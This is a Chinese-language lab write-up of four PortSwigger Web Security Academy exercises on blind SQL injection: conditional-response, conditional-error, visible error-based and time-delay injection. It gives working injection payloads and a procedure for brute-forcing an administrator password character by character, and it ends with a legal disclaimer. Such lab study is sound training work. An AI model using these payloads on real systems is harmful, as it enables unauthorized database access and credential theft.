SQL注入(二)盲注

**摘要:**本文通过四个 PortSwigger Web Security Academy 官方靶场实验,系统演示了盲目 SQL 注入的四种典型手法:带条件响应的盲注(通过 Welcome back 提示判断注入结果)、带条件错误的盲注(通过 200/500 状态码判断注入点)、可视化基于错误的注入(通过报错信息直接获取数据)以及带时间延迟的盲注(利用 pg_sleep 造成延迟)。每个实验均从注入点确定、数据库类型识别、表与用户探测、密码长度判断到逐位爆破的完整流程展开,并附有详细 payload 与操作说明。文章末尾附有法律声明,强调所有实验均在合法授权环境中完成,仅供学习交流。

实验一:带条件响应的盲目SQL注入

1.根据题目的提示,要使用Cookie进行分析,所以我们可以首先拦截对实验页面的访问,对Cookie进行注入分析

2.然后我们要确定注点,对Cookie的TrackingId进行注入

sql 复制代码
Cookie: TrackingId=t6y4P2eYikvzcAK8' and '1'='1;
sql 复制代码
Cookie: TrackingId=t6y4P2eYikvzcAK8' and '1'='2;

当我们注入'1'='1时,返回的结果存在Welcome back的提示,但是我们注入'1'='2的时候没有对应的提示,这就是标准的条件响应盲注生效状态。确定了注入点

3.然后我们要开始确定users表是否存在,返回结果有WELCOME,说明存在user表

sql 复制代码
Cookie: TrackingId=t6y4P2eYikvzcAK8' AND (select 'a' from users limit 1)='a; 

4.下一步我们要确定是否存在administartor用户名在这个users表当中

sql 复制代码
' AND (select 'a' from users where username='administrator')='a;

确定存在administrator用户

5.然后我们要去获得密码,通过测试密码的长度再进行爆破操作,再去测试密码长度的过程中,我们发现这个密码长度在大于19的时候返回的结果含有WELCOME,但是在测试是否大于20的时候没有返回WELCOME,所以确定秘密长度为20

sql 复制代码
' and (select 'a' from users where username='administrator' and length(password)>19)='a;

6.然后接下来就是逐位爆破密码,根据题目提示,密码是小写字母以及0到9的数字组成

sql 复制代码
' and (select substring(password,1,1) from users where username='administrator')='a;

然后选中最后的a,右键选择send to intruder,在intruder页面的右侧的configuration部分粘贴进36个字符,然后在右边的setting部分写入Welcome返回值,然后点击开始攻击即可确定每一位的密码

a

b

c

d

e

f

g

h

i

j

k

l

m

n

o

p

q

r

s

t

u

v

w

x

y

z

0

1

2

3

4

5

6

7

8

9

7.然后在跑出第一位之后修改把 substring(password,1,1) 改成 substring(password,2,1)即可继续破解第二位,以此类推,然后把所有的20位密码拼在一起得到最终的密码,用这个密码和administrator账户登录即可解决问题。

实验二:带条件错误的盲SQL注入

1.我们这个实验和上面一个实验有不一样的地方,这个实验室条件错误的提示,我们是通过页面的响应,返回的结果是200还是500来确定这个注入点的,但是我们上面一个实验是通过是否返回WELCOME的提示来确定是否注入成功,所以两个题目的解题思路不一样。

2.现在第一步进行注入点确定,当我们在T的后面加上一个'时,返回的结果时500,但是当我们加''时返回的结果时200,注入点确定

当我们添加一个'时,后台表示是这样的:多余一个',结果报错

sql 复制代码
SELECT * FROM tracking WHERE TrackingId = 'xxx''

当我们添加两个''时,后台表示是这样的:'xxx' → 一个完整字符串,'' → 一个空字符串 (两个单引号连在一起表示空串),原查询的 ' 闭合

sql 复制代码
SELECT * FROM tracking WHERE TrackingId = 'xxx'''

3.下面我们要确定是什么类型的数据库,首先去判断是不是Oracle类型的

sql 复制代码
'||(SELECT '' FROM dual)||';

4.确定数据库类型之后我们要去确定是否存在users表,其中的rounum=1是从users表中只返回一行

sql 复制代码
'||(select '' from users where rownum=1)||'

5.确定users表存在,然后确定administrator账户是否存在,返回报错,用户存在

sql 复制代码
'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||';
部分 含义
' 闭合原字符串
`
(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END ...) 子查询
FROM users WHERE username='administrator' 锁定 administrator 用户
`
  • CASE WHEN (1=1) 恒真 → 走 TO_CHAR(1/0) → 除以零报错

  • 如果 administrator 用户存在 → 子查询能执行 → 报错

  • 如果用户不存在 → 子查询没结果 → CASE 不执行 → 不报错

6.然后就是确定密码长度,20位,继续爆破密码,操作和上一题是一样的

sql 复制代码
'||(SELECT CASE WHEN LENGTH(password)>1 THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||';
sql 复制代码
'||(SELECT CASE WHEN SUBSTR(password,1,1)='a' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'

实验三:可视化基于错误的SQL注入

1.这个实验和之前的是不一样的,他返回的错误信息会直接把我们所需要的信息给出来,所以比之前的实验会简单一些

首先是确定注入点,右边的响应框里的错误信息会显示完整的 SQL 查询。

2.然后我们在请求中添加注释字符,以注释其余查询内容,包括导致错误的多余单引号字符,返回的结果就没有错误提示了

3.确认 CAST 语法能用,为后面做准备。返回结果正常,表示cast能用

sql 复制代码
' AND 1=CAST((SELECT 1) AS int)--

4.接下来就是去查用户名,由于Cookie 有长度限制,payload 太长,被服务器截断了。所以要缩减长度可以删掉TrackingId的内容,然后重新发送,username 是字符串,不能转成 int,可以得到报错出用户名

sql 复制代码
' and 1=cast((select username from users limit 1) as int)--;

5.下一步就是通过报错的到密码,和上面的报错出用户名是一样的操作,然后使用这个密码登录,解决问题

sql 复制代码
' and 1=cast((select password from users limit 1) as int)--;

实验四:带时间延迟的盲目SQL注入

1.这个实验和上面的实验不一样,这个实验不需要我们去获取什么账户和密码,只需要我们利用漏洞造成10s的延迟的可以了

sql 复制代码
'||pg_sleep(10)--

|| 是字符串拼接符,拼接时右边的内容会被求值。pg_sleep(10) 是一个函数,求值时会执行,所以数据库就睡了 10 秒。

声明:

本文所有实验均在 PortSwigger Web Security Academy 官方提供的合法在线靶场环境 中完成,该平台专为网络安全教学目的搭建,所有实验均为官方授权。未对任何未授权的网站、服务器或系统进行测试 。文中涉及的注入技术仅用于个人学习网络安全知识与记录实验过程。

SQL 注入属于违法行为,《中华人民共和国刑法》第 285、286 条对非法侵入计算机信息系统、破坏计算机信息系统罪 有明确规定。未经授权对他人系统进行渗透测试,无论是否造成损害,都可能构成犯罪。

文中所有 payload 在合法授权环境之外不具备直接使用价值 ,且现代框架/ORM 已普遍预防此类基础注入。请读者仅在学习环境中复现,技术是用来防守的。

如有错误欢迎指正,转载请注明出处。

相关推荐
白山编程大哥1 小时前
Carsim 2024.1 专业安装介绍:功能特性与应用场景详解
笔记
hss123456782 小时前
整装落地与效果图差距有多大?从毫米级误差到ENF板材的量化拆解
笔记
2401_868534782 小时前
无线网络规划设计
服务器·网络
螺蛳粉 螺蛳粉2 小时前
第二篇:keepalived VRRP 原理篇:协议与 VIP 漂移机制深入解析
网络·智能路由器·负载均衡·keepalived·高可用
盟接之桥3 小时前
AI助手:你的7×24小时智能管家——让异常预警无处不在
大数据·网络·数据库·人工智能·制造·ai编程
waoooqwe3 小时前
问卷样本真实吗
大数据·数据库·算法·数据分析
可乐ea3 小时前
Agent 评测换判据:用终态数据库状态判定任务是否完成
数据库·ui·oracle·mcp工具·agent评测·终态断言·智能体可靠性
l1t3 小时前
DeepSeek总结的一个不含数据的 DuckDB 数据库
服务器·数据库·duckdb
PaperData4 小时前
2007-2020年税收调查面板数据
数据库